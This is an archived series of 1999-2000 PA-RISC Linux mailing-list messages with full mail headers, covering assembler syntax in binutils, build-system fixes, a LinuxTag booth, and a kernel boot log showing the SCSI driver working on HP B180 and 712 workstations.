X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Thu, 04 May 2000 10:49:54 +1000.
             <Pine.LNX.4.21.0005041047580.8334-100000@front.linuxcare.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:7249


  In message <Pine.LNX.4.21.0005041047580.8334-100000@front.linuxcare.com.au>yo
u write:
  > On Wed, 3 May 2000, Grant Grundler wrote:
  > 
  > > Alan Modra wrote:
  > > 
  > > > On another issue, can someone tell me why the assembler comment charact
  > er
  > > > needed to be changed from `;' to `!' ?  This seems a really ill-advised
  > > > change to me.
  > > 
  > > See:
  > > http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/03-Mar/0078
  > .html
  > 
  > Thanks for the pointer.  I agree with all these except the comment
  > change...  :)
'!' is the standard comment character for the PA assembly syntax.

jeff


From - Thu Nov 08 21:12:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: palinux binutils
Date: Thu, 4 May 2000 10:59:24 +1000 (EST)
Lines: 25
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0005041041300.8334-100000@front.linuxcare.com.au>
References: <E12n2fW-00081F-00@endor.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618904 32499 80.91.229.3 (22 Nov 2014 01:15:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:04 +0000 (UTC)
Cc: grundler@cup.hp.com, acmyer@fc.hp.com, parisc-linux@thepuffingroup.com
To: Paul Bame <bame@endor.fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Wed May  3 19:05:07 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA07724
	for <parisc-linux@puffin.external.hp.com>; Wed, 3 May 2000 19:05:06 -0600
Original-Received: (qmail 21777 invoked by uid 15267); 4 May 2000 01:05:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21758 invoked from network); 4 May 2000 01:05:04 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 4 May 2000 01:05:04 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA13815;
	Thu, 4 May 2000 10:59:24 +1000
In-Reply-To: <E12n2fW-00081F-00@endor.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7250

On Wed, 3 May 2000, Paul Bame wrote:

> Alan -- we hear you're doing something with binutils for palinux but
> don't know what.  We desperately need a functional tool chain so

I checked in a bunch of patches to sourceware.cygnus.com CVS a day or so
ago.  These were only just little things I noticed while going over the
code trying to understand everything and come to grips with parisc.  I
suspect these fixes won't give you the functional tool chain you need, but
I'm working on it.  Once I've gone over bfd/elf32-hppa.c, I intend to make
everything available via CVS from the puffin machines.  It's taking longer
than I thought it would...

> I'm going to hack at it a bit but don't want to do anything stupid
> (actually with my level of knowledge of gcc, glibc, and binutils, it's
> certain I'll do *something* stupid).  Sammy may also be
> doing something soon to solve the .proc/.procend stuff (in the linker
> I think).

I'm sure I'll do many stupid things :)

-- 
Linuxcare.  Support for the Revolution.



From - Thu Nov 08 21:12:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] crti.S Nested procedures error
Date: Thu, 4 May 2000 11:27:37 +1000 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0005041123510.8334-100000@front.linuxcare.com.au>
References: <26706.957401664@upchuck>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618905 32506 80.91.229.3 (22 Nov 2014 01:15:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:05 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
To: Jeffrey A Law <law@cygnus.com>
Original-X-From: alan@linuxcare.com.au  Wed May  3 19:27:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA07978
	for <parisc-linux@puffin.external.hp.com>; Wed, 3 May 2000 19:27:58 -0600
Original-Received: (qmail 3221 invoked by uid 15267); 4 May 2000 01:27:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3190 invoked from network); 4 May 2000 01:27:56 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 4 May 2000 01:27:56 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA15695;
	Thu, 4 May 2000 11:27:37 +1000
In-Reply-To: <26706.957401664@upchuck>
Xref: news.gmane.org gmane.linux.ports.parisc:7251

On Wed, 3 May 2000, Jeffrey A Law wrote:

> '!' is the standard comment character for the PA assembly syntax.

sourceware.cygnus.com CVS gas/config/tc-hppa.c has

const char comment_chars[] = ";";
const char line_separator_chars[] = "!";

You're saying that it's a good idea to change the comment char then?

Regards, Alan Modra

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:12:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] crti.S Nested procedures error
Date: Wed, 03 May 2000 22:45:26 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <27524.957415526@upchuck>
References: <Pine.LNX.4.21.0005041123510.8334-100000@front.linuxcare.com.au>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618905 32512 80.91.229.3 (22 Nov 2014 01:15:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:05 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: law@upchuck.cygnus.com  Wed May  3 22:58:09 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA09657
	for <parisc-linux@puffin.external.hp.com>; Wed, 3 May 2000 22:58:09 -0600
Original-Received: (qmail 1331 invoked by uid 15267); 4 May 2000 04:57:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1275 invoked from network); 4 May 2000 04:57:47 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 4 May 2000 04:57:47 -0000
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id WAA27527;
	Wed, 3 May 2000 22:45:27 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Thu, 04 May 2000 11:27:37 +1000.
             <Pine.LNX.4.21.0005041123510.8334-100000@front.linuxcare.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:7252


  In message <Pine.LNX.4.21.0005041123510.8334-100000@front.linuxcare.com.au>yo
u write:
  > On Wed, 3 May 2000, Jeffrey A Law wrote:
  > 
  > > '!' is the standard comment character for the PA assembly syntax.
  > 
  > sourceware.cygnus.com CVS gas/config/tc-hppa.c has
  > 
  > const char comment_chars[] = ";";
  > const char line_separator_chars[] = "!";
  > 
  > You're saying that it's a good idea to change the comment char then?
Whoops.  My bad.  "!" is the line separator, not the comment character.

Sometimes I wonder if I'm going senile.

jeff

ps.  One can certainly argue about whether or not "!" is a good line
separator since it's also used in expression parsing and as a completer
for FP comparisons.  Basically we've got an ambiguous grammar due to some
poor choices that were made long ago ;(

jeff


From - Thu Nov 08 21:12:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Shaver <shaver@netscape.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [hppa-linux] make dep
Date: Thu, 18 Mar 1999 01:48:13 -0500
Organization: mozilla.org diplomatic corps
Lines: 13
Approved: news@gmane.org
Message-ID: <36F0A1AD.692A4699@netscape.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618905 32516 80.91.229.3 (22 Nov 2014 01:15:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:05 +0000 (UTC)
To: Linux/PARISC <hppa-linux@thepuffingroup.com>
Original-X-From: shaver@netscape.com  Thu Mar 18 01:46:54 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id BAA12176
	for <hppa-linux@sod.res.cmu.edu>; Thu, 18 Mar 1999 01:46:53 -0500
Original-Received: (qmail 28724 invoked by uid 15267); 18 Mar 1999 06:46:15 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 28717 invoked from network); 18 Mar 1999 06:46:12 -0000
Original-Received: from h-205-217-237-46.netscape.com (HELO netscape.com) (205.217.237.46)
  by mailserv2.iuinc.com with SMTP; 18 Mar 1999 06:46:12 -0000
Original-Received: from tintin.mcom.com (tintin.mcom.com [205.217.233.42])
	by netscape.com (8.8.5/8.8.5) with ESMTP id WAA10645
	for <hppa-linux@thepuffingroup.com>; Wed, 17 Mar 1999 22:46:21 -0800 (PST)
Original-Received: from netscape.com ([205.217.243.67]) by
          tintin.mcom.com (Netscape Messaging Server 4.03) with ESMTP id
          F8S2TA00.DL6 for <hppa-linux@thepuffingroup.com>; Wed, 17 Mar
          1999 22:46:22 -0800 
Original-Sender: shaver@netscape.com (Mike Shaver)
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.0-pre7-ac1 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7253

You can run make dep now and see millions of warnings about implicitly
defined functions and such, but have it complete ``successfully''. 
Basically, I just added a handful of stubs and #defines, and then tidied
some insanity in the build system.

I'm curious as to why our dep target actually builds all the .o/.as, but
I'll look at that in the morning or something.

Mike

-- 
314982.57 267714.70


From - Thu Nov 08 21:12:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Florian Lohoff <flo@rfc822.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [joey@linuxtag.de: Invitation for LinuxTag 2000]
Date: Fri, 5 May 2000 16:56:54 +0200
Organization: rfc822 - pure communication
Lines: 19
Approved: news@gmane.org
Message-ID: <20000505165654.P1662@paradigm.rfc822.org>
References: <20000502123902.C8051@thepuffingroup.com> <390F02D0.43B1DC64@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618906 32521 80.91.229.3 (22 Nov 2014 01:15:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:06 +0000 (UTC)
Cc: willy@thepuffingroup.com, joey@linuxtag.de,
        Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
        parisc-linux@thepuffingroup.com
To: Frank Benke <frank.benke@web.de>
Original-X-From: flo@rfc822.org  Fri May  5 09:18:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA24524
	for <parisc-linux@puffin.external.hp.com>; Fri, 5 May 2000 09:18:20 -0600
Original-Received: (qmail 6831 invoked by uid 15267); 5 May 2000 15:18:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6812 invoked from network); 5 May 2000 15:18:19 -0000
Original-Received: from noose.gt.owl.de (62.52.19.4)
  by mailserv2.iuinc.com with SMTP; 5 May 2000 15:18:19 -0000
Original-Received: by noose.gt.owl.de (Postfix, from userid 10)
	id 27A61805; Fri,  5 May 2000 17:18:17 +0200 (CEST)
Original-Received: by paradigm.rfc822.org (Postfix, from userid 1000)
	id 8F6B88FFD; Fri,  5 May 2000 16:56:54 +0200 (CEST)
X-Mailer: Mutt 0.95.3i
In-Reply-To: <390F02D0.43B1DC64@web.de>; from Frank Benke on Tue, May 02, 2000 at 06:31:12PM +0200
Original-Sender: flo@rfc822.org
Xref: news.gmane.org gmane.linux.ports.parisc:7254

On Tue, May 02, 2000 at 06:31:12PM +0200, Frank Benke wrote:
> hi all;
> 
> since hp germany is present at the show and thomas and will be there
> anyway, i "guess" we will manage to have a box there. but since we will
> be busy at the hp booth it might be usefull if some more "staff" will
> be there.

I will be at the booth already with Linux/mips(el) and probably i might
bring a gecko with me ... Although i am not that experienced
with PA-Risc i have booted it once with a kernel/ramdisk image and
it showed some reaction :)

Flo
-- 
Florian Lohoff		flo@rfc822.org		      	+49-subject-2-change
"Technology is a constant battle between manufacturers producing bigger and
more idiot-proof systems and nature producing bigger and better idiots."


From - Thu Nov 08 21:12:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SCSI works on B180 and 712
Date: Fri, 05 May 2000 17:05:59 -0600
Lines: 187
Approved: news@gmane.org
Message-ID: <E12nrAV-00040I-00@endor.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618906 32526 80.91.229.3 (22 Nov 2014 01:15:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:06 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@endor.fc.hp.com  Fri May  5 17:13:29 2000
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id RAA28487
	for <parisc-linux@puffin.external.hp.com>; Fri, 5 May 2000 17:13:28 -0600
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by palrel3.hp.com (Postfix) with SMTP id 34CB1BEF9
	for <parisc-linux@puffin.external.hp.com>; Fri,  5 May 2000 16:13:13 -0700 (PDT)
Original-Received: (qmail 2542 invoked by uid 15267); 5 May 2000 23:06:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2528 invoked from network); 5 May 2000 23:06:08 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 5 May 2000 23:06:08 -0000
Original-Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19])
	by cosrel1.hp.com (Postfix) with ESMTP id 337781C53
	for <parisc-linux@thepuffingroup.com>; Fri,  5 May 2000 17:06:27 -0600 (MDT)
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by l3107mxr.atl.hp.com (Postfix) with ESMTP id 8D3764FD84
	for <parisc-linux@thepuffingroup.com>; Fri,  5 May 2000 19:05:59 -0400 (EDT)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 12nrAV-00040I-00; Fri, 05 May 2000 17:05:59 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:7255


Many thanks to ggg, robert, and prumpf, for helping me get the SCSI
driver (sim710 specifically) working on B180 (should work on A180 too)
and 712!!!  Today I mounted an ext2 partition and executed sash from
there which was pretty exciting.  Sources are in CVS, just enable SCSI
in your .config, copy something reasonable (like the ramdisk or nfsroot)
to an ext2 partition on a normal Linux disk, move the disk to your HP
box, and remember to modify the linux command line to include "root=/dev/sda5"
or whatever.  Here's a console output sample:


------- Main Menu -------------------------------------------------------------

        Command                         Description
        -------                         -----------
        BOot [PRI|ALT|<path>]           Boot from specified path
        PAth [PRI|ALT|CON|KEY] [<path>] Display or modify a path
        SEArch [DIsplay|IPL] [<path>]   Search for boot devices

        COnfiguration [<command>]       Access Configuration menu/commands
        INformation [<command>]         Access Information menu/commands
        SERvice [<command>]             Access Service menu/commands

        DIsplay                         Redisplay the current menu
        HElp [<menu>|<command>]         Display help for menu or command
        RESET                           Restart the system
-------
Main Menu: Enter command > b
Interact with IPL (Y, N, Q)?> y
INIT C540

Booting... 
Network Station Address 0060b0-172441
System IP Address 15.1.49.181
Server IP Address 15.1.49.59

Boot IO Dependent Code (IODC) revision 2
INIT C580


SOFT Booted.
INIT C5FF
palo ipl bame@endor Fri May  5 12:22:50 MDT 2000
0/vmlinux 2308864 bytes @ 0x7800
0/palo-cmdline '0/vmlinux HOME=/ TERM=LINUX root=/dev/ram initrd=0/ramdisk'
0/ramdisk 358400 bytes @ 0x23b300
0/vmlinux HOME=/ TERM=LINUX root=/dev/sda5
Kernel: partition 0 file /vmlinux
ELF32 executable
prepare_loadable 00503688 2

Entry 0010192c first 00100000 n 3
Segment 0 load 00100000 size 1303732 mediaptr 0x1000
Segment 1 load 00240000 size 175884 mediaptr 0x140000
Segment 2 load 0026c000 size 8192 mediaptr 0x16b000
branching to kernel entry point 0x0010192c
The Kernel has started...
Free memory starts at: 0xc02d8000
PALO command line: 'HOME=/ TERM=LINUX root=/dev/sda5'
PALO initrd 0-0
FP CCR was 0x0, will be set to 0xc0
model   00005030 00000481 00000000 02020202 7749d671 100000f0 00000004 000000ba 000000ba
vers    00000010
cpuid   000001f0
CPUID vers 15 rev 16
CPU(s): 1 x PA7300LC at 180.000000 MHz
Searching for devices in PDC firmware... a newer box...
Found devices:
1. Phantom PseudoBC GSC+ Port (7) at 0xffc00000, versions 0x504, 0x0, 0x0, 0x0, 0x0
2. Merlin L2+ 180 (9000/778/B180L) (0) at 0xfffbe000, versions 0x504, 0x0, 0x4, 0x0, 0x81
3. Merlin+ L2 180 (1) at 0xfffbf000, versions 0x5a, 0x0, 0x9, 0x0, 0x0
4. Merlin+ 180 Core BA (11) at 0xffd00000, versions 0x3f, 0x0, 0x81, 0x0, 0x0
5. Merlin+ 180 Core RS-232 (10) at 0xffd05000, versions 0x3f, 0x0, 0x8c, 0x0, 0x0
6. Merlin+ 180 Core SCSI (10) at 0xffd06000, versions 0x3f, 0x0, 0x82, 0x0, 0x0
7. Merlin+ 180 Core Centronics (10) at 0xffd02000, versions 0x3f, 0x0, 0x74, 0x0, 0x0
8. Merlin+ 180 Core Audio (10) at 0xffd04000, versions 0x3f, 0x4, 0x7b, 0x0, 0x0
9. Merlin+ 180 Core PC Keyboard (10) at 0xffd08000, versions 0x3f, 0x0, 0x84, 0x0, 0x0
10. Merlin+ 180 Core PC Keyboard (10) at 0xffd08100, versions 0x3f, 0x0, 0x84, 0x0, 0x0
11. Merlin+ 180 Core PC Floopy (10) at 0xffd0a000, versions 0x3f, 0x0, 0x83, 0x0, 0x0
12. Merlin 132/160 Wax BA (11) at 0xffe00000, versions 0x43, 0x0, 0x8e, 0x0, 0x0
13. Merlin 132/160 Wax EISA BA (11) at 0xfc000000, versions 0x43, 0x0, 0x90, 0x0, 0x0
14. Merlin 132/160 Wax HIL (10) at 0xffe01000, versions 0x43, 0x0, 0x73, 0x0, 0x0
15. Merlin 132/160 Wax RS-232 (10) at 0xffe02000, versions 0x43, 0x0, 0x8c, 0x0, 0x0
16. Gecko GSC Core Graphics (10) at 0xf8000000, versions 0x16, 0x0, 0x85, 0x0, 0x0
17. Dino PCI Bridge (13) at 0xfff80000, versions 0x680, 0x1, 0xa, 0x0, 0x0
That's a total of 17 devices.
Linux version 2.3.99-pre1 (bame@endor) (gcc version 2.9-hppa-991112) #93 Fri May 5 12:22:47 MDT 2000
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 32768
zone(0): 16384 pages.
zone(1): 16384 pages.
zone(2): 0 pages.
trap_init
Calibrating delay loop... 116.74 BogoMIPS
Memory: 125716k available
kmem_test() - start
kmem_free: Bad front redzone (objp=c7ffe004, name=test-cachep)
kmem_free: Bad rear redzone (objp=c7ffe004, name=test-cachep)
kmem_test() - finished
c7ff0000 c7ff8000 c7fee000 c7ffc000
Buffer-cache hash table entries: 8192 (order: 3, 32768 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
POSIX conformance testing by UNIFIX
Lasi version 0 at 0xffd00000 found.
request_irq(258, c01eb470, 0x0, lasi, c7fea080)
Lasi IRQ 258 EIM 0xfffe0002
Wax at 0xffe00000 found.
request_irq(263, c01eb470, 0x0, wax, c7fea140)
Wax IRQ 263 EIM 0xfffe0007
busdevice_alloc_irq(0xffd05000) on Lasi 0x200 + 26 = 538
Found serial #0 at 0xffd05000, IRQ 538
ttyS00 at iomem 0xffd05800 (irq = 538) is a 16550A
busdevice_alloc_irq(0xffe02000) on Wax 0x300 + 25 = 793
Found serial #1 at 0xffe02000, IRQ 793
ttyS00 at iomem 0xffe02800 (irq = 793) is a 16550A
Dino version 2.1 (bridge mode) found at 0xfff80000


The GSCtoPCI (Dino hrev 1) bus converter found may exhibit
data corruption.  See Service Note Numbers: A4190A-01, A4191A-01.
Systems shipped after Aug 20, 1997 will not exhibit this problem.
Models affected: C180, C160, C160L, B160L, and B132L workstations.

request_irq(259, c01eae24, 0x0, dino, c7fea2c0)
Linux NET4.0 for Linux 2.3
Based upon Swansea University Computer Society NET3.039
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 1024 buckets, 8Kbytes
TCP: Hash tables configured (established 8192 bind 8192)
Starting kswapd v1.6
Serial driver version 4.92 (2000-1-27) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
pty: 256 Unix98 ptys configured
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
SCSI clock: 40000000
busdevice_alloc_irq(0xffd06000) on Lasi 0x200 + 22 = 534
Lasi Scsi (53c710) found at 0xffd06100
sim710: Configuring Sim710 (SCSI-ID 7) at ffd06100, IRQ 534
scsi0: Revision 0x2
sim710: WARNING IRQ probe failed, (returned 0)
scsi0: test 1 completed ok.
request_irq(534, c01da830, 0x20000000, sim710, c7fb7260)
busdev_enable_irq(c7fea080, 22) Lasi: IMR 0x200
lasi7xx_detect is called again
scsi0 : LASI/Simple 53c710
scsi : 1 host.
  Vendor: TOSHIBA   Model: CD-ROM XM-3401TA  Rev: 1094
  Type:   CD-ROM                             ANSI SCSI revision: 02
Detected scsi CD-ROM sr0 at scsi0, channel 0, id 2, lun 0
  Vendor: SEAGATE   Model: ST31051N          Rev: HP01
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sda at scsi0, channel 0, id 3, lun 0
scsi : detected 1 SCSI cdrom 1 SCSI disk total.
Uniform CD-ROM driver Revision: 3.07
SCSI device sda: hdwr sector= 512 bytes. Sectors= 2051460 [1001 MB] [1.0 GB]
Partition check:
 sda: sda1 sda2 < sda5 sda6 sda7 sda8 sda9 >
Linux Tulip driver version 0.9.4.2 (Mar 21, 2000)
eth0: Digital DS21143 Tulip rev 33 at 0x1ff00, 00:60:B0:17:24:41, IRQ 1055.
eth0:  MII transceiver #1 config 1000 status 786d advertising 01e1.
request_irq(1055, c01b0b74, 0x4000000, eth0, c7f86800)
Sending BOOTP requests.... OK
IP-Config: Got BOOTP answer from 15.1.49.59, my address is 15.1.49.181
VFS: Mounted root (ext2 filesystem) readonly.
tty_open
searching for 4/64
found 136/[0,256]
found 128/[0,256]
found 3/[0,256]
found 2/[0,256]
found 5/[64,64]
found 4/[64,64]
driver: -1070829704
retval 0
request_irq(538, c01a4470, 0x4000000, serial, c02c795c)
busdev_enable_irq(c7fea080, 26) Lasi: IMR 0x220
driver.open 0
do_execve
trying c01649e8
trying c0164480
load_som_binary
It seems to be a valid SOM executable
Stand-alone shell (version 3.4)
500 5 cbd 8a3b
> foo 1073767600, 20020620


From - Thu Nov 08 21:12:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@ngi.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] some questions ...
Date: Sat, 06 May 2000 00:56:17 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <39135191.83F05FBD@ngi.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618906 32530 80.91.229.3 (22 Nov 2014 01:15:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:06 +0000 (UTC)
To: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
Original-X-From: xam@ngi.de  Fri May  5 17:41:45 2000
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id RAA28676
	for <parisc-linux@puffin.external.hp.com>; Fri, 5 May 2000 17:41:41 -0600
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by palrel1.hp.com (Postfix) with SMTP id 0EF4629A22
	for <parisc-linux@puffin.external.hp.com>; Fri,  5 May 2000 15:54:43 -0700 (PDT)
Original-Received: (qmail 22421 invoked by uid 15267); 5 May 2000 22:48:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22394 invoked from network); 5 May 2000 22:48:42 -0000
Original-Received: from venus.feedback.de (HELO feedback.de) (193.159.185.18)
  by mailserv2.iuinc.com with SMTP; 5 May 2000 22:48:42 -0000
Original-Received: from ngi.de
	([62.158.135.206])
	by venus.feedback.de; Sat, 06 May 2000 00:48:29 +0200
Original-Sender: xam@mailserv2.iuinc.com
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.14 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7256

hi all,

I want to test linux/HPPA.
I have one HP9000/800/F10 (16MB RAM), but it has
unfortunately no gfx and no network interface card.
Now I also got a HP9000/730 (32MB RAM, CRX-Graphics)
with an integrated network interface card.

Since I want/have to mount the (linux-)boot partition via
nfs, I can only use the "King Cobra" HP9000/730.

But as I wanted to test the network card, I recognized that it
does not work properly; but I don't now wether it is my fault
or not ...

I'm using HP/UX  10.10 (I know that this mailing list is for
linux/HPPA, but since I can't use the network, I don't know
if I can use the machine for linux/HPPA testing) and
configured a 192.168.0.0 net (class C).
The workstation is connected via BNC, but I seems that there
is no link. (ping was hanging, and when i used "arp -s", ping
said that there is some probably some link/carrier problem)
And the light on my hub is not blinking, either.

The same routing table (just loopback, no default gateway)
is working for my XTerminal (RX700) and my linux/ix86 computers.

Perhaps the computer was connected via AUI before,
and I don't know how to change between AUI/BNC.
Is there a dip switch/jumper/software configuration thing ?
I didn't see anything in "SAM", but perhaps there is something for the
CLI ?

I configured the network interface to use Ethernet Frames,
(other possible configuration is IEEE803.2/Ethernet and IEEE803.2).
Is this the possible source of error ?



is there something I have to be aware of when testing linux/HPPA ?
Is it just getting the linux-kernel, booting it and mount the rest
via nfs ?


thanks in advance, max


From - Thu Nov 08 21:12:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI works on B180 and 712
Date: Fri, 05 May 2000 17:06:07 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <200005060006.RAA18075@milano.cup.hp.com>
References: <E12nrAV-00040I-00@endor.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618907 32531 80.91.229.3 (22 Nov 2014 01:15:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:07 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri May  5 18:16:04 2000
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id SAA28965
	for <parisc-linux@puffin.external.hp.com>; Fri, 5 May 2000 18:16:04 -0600
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by palrel3.hp.com (Postfix) with SMTP id 02705EEF4
